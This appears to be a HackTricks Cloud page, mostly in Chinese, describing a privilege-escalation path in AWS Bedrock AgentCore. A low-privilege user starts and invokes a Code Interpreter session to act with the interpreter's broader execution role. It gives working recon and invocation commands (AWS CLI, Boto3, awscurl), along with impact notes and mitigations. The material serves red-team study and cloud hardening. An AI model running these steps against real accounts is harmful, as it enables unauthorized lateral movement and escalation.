AWS - Bedrock PrivEsc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter 是一个受管的执行环境。Custom Code Interpreters 可以配置一个 executionRoleArn,该字段“为 code interpreter 提供访问 AWS 服务的权限”。
如果一个权限较低的 IAM principal 能够start + invoke 一个配置为使用更高权限 execution role 的 Code Interpreter 会话,调用者就可以有效地切换到该 execution role 的权限(根据角色范围,这可能是横向移动或权限提升)。
Note
这通常是一个配置错误 / 权限过度的问题(例如给 interpreter 的 execution role 授予了过宽的权限和/或授予了广泛的 invoke 访问权限)。 AWS 明确警告,应通过确保 execution roles 的权限不超过被允许调用的主体来避免权限提升。
Preconditions (common misconfiguration)
- 存在一个权限过大的 custom code interpreter,其 execution role 权限过宽(例如:可以访问敏感的 S3/Secrets/SSM 或具有类似 IAM 管理的能力)。
- 一个用户(开发者/审计员/CI 身份)拥有以下权限:
- 启动会话:
bedrock-agentcore:StartCodeInterpreterSession - 调用工具:
bedrock-agentcore:InvokeCodeInterpreter - (可选)该用户也可以创建 interpreter:
bedrock-agentcore:CreateCodeInterpreter(允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter)。
Recon (identify custom interpreters and execution role usage)
列出 interpreters(control-plane)并检查它们的配置:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
create-code-interpreter 命令支持
--execution-role-arn,用于定义该解释器将拥有的 AWS 权限。
步骤 1 - 启动会话(这会返回一个 sessionId,而不是交互式 shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
第2步 - 调用代码执行(Boto3 或 签名的 HTTPS)
没有来自 start-code-interpreter-session 的interactive python shell。执行是通过 InvokeCodeInterpreter 进行的。
选项 A - Boto3 示例(执行 Python + 验证身份):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
如果解释器配置了 execution role,sts:GetCallerIdentity() 的输出应该反映该 role 的身份(而不是 low-priv caller),从而证明 pivot。
选项 B - 签名的 HTTPS 调用 (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
影响
- Lateral movement 到 解释器执行角色拥有的任何 AWS 访问权限。
- Privilege escalation 如果解释器执行角色比调用者拥有更高权限。
- 如果未为解释器调用启用 CloudTrail 数据事件,则检测更困难(根据配置,调用默认可能不会被记录)。
缓解 / 加固
- 对解释器
executionRoleArn实施 Least privilege(将其当作 Lambda 执行角色 / CI 角色来处理)。 - 限制谁可以调用 (
bedrock-agentcore:InvokeCodeInterpreter) 以及谁可以启动会话。 - 使用 SCPs 拒绝 InvokeCodeInterpreter,除非针对已批准的 agent runtime roles(可能需要在组织级别强制执行)。
- 在适用情况下为 AgentCore 启用适当的 CloudTrail data events;对异常的调用和会话创建发出警报。
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

